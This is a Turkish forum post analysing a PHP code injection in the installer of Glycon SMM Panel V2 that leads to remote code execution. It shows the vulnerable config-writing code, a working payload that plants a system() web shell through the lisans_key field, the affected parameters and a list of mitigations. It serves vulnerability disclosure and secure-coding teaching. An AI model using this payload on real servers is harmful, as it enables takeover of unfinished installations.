Hoşgeldin Misafir

Glycon SMM Panel V2 - RCE Analizi

Conrado Sol

29 Nis 2026
62 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Herkese merhaba,

Bu konuda Glycon SMM Panel V2 içerisinde bulunan Remote Code Execution (RCE) zafiyetini, oluşma nedenini ve sömürülebilir hale gelişini anlatacağım.

Kurulum Ön Koşulu​

Zafiyetin tetiklenebilmesi için kurulumun tamamlanmamış olması gerekir.

Kurulum tamamlandığında aşağıdaki dosyalar silinir:
PHP:
unlink("mysql_sql");
unlink("error_log");
unlink("install.php");
unlink("database.sql");

Bu nedenle test aşaması kurulumdan önce yapılmalıdır.

Kurulum Bilgileri (XAMPP)​

Kod:
username = root
password = (boş)
db       = test / glycon
host     = 127.0.0.1

Kurulum ekranında doğrulama eksikliği bulunduğunda manipüle edilmiş veri gönderimi mümkün hale gelir.

Zafiyetin Kaynağı​

Sorun, kullanıcıdan alınan verilerin hiçbir filtreleme veya escape işlemi yapılmadan doğrudan PHP dosyasına yazılmasıdır.

PHP:
$lsynkey = $_POST["lisans_key"];

$config_file = fopen('Glycon.php', 'w');
fwrite($config_file, "<?php
define('LISANCEKEY', '$lsynkey');
define('SITEURLS', '$url');
define('DBHOSTS', '$db_host');
define('DBNAMES', '$db_name');
define('DBUSERS', '$db_user');
define('DBPASSS', '$db_pass');
");

Exploit Mantığı​

Kritik problem, tek tırnak karakterinin escape edilmemesidir.

Örnek payload:
Kod:
lisans_key=');system($_GET["cmd"]);//

Oluşan çıktı:
Kod:
<?php

define('LISANCEKEY', '');system($_GET["cmd"]);//');
define('SITEURLS', 'https://localhost/');

Bu durumda enjekte edilen PHP kodu çalıştırılabilir hale gelir.

Zafiyet Türü​


- PHP Code Injection

Sonuç olarak:

- Remote Code Execution (RCE)

seviyesine yükselmektedir.

Etkilenen Parametreler​


Aynı yapı nedeniyle aşağıdaki alanlar da risklidir:

db_host
db_name
db_user
db_pass
lisans_key

Güvenlik Açığı Sebepleri​

User input validation yok
String concatenation ile PHP kod üretimi
Escape işlemi yapılmaması
Config dosyasının PHP olarak generate edilmesi

Önlem​

Input validation (whitelist yaklaşımı)
PHP yerine .env / JSON / INI kullanımı
var_export() ile güvenli değer yazımı
Özel karakterlerin sanitize edilmesi

Bu zafiyet temel olarak kullanıcı girdisinin filtrelenmeden PHP koduna gömülmesi nedeniyle oluşmaktadır.

Başlangıçta PHP Code Injection olan problem, çalışma anında RCE’ye dönüşmektedir.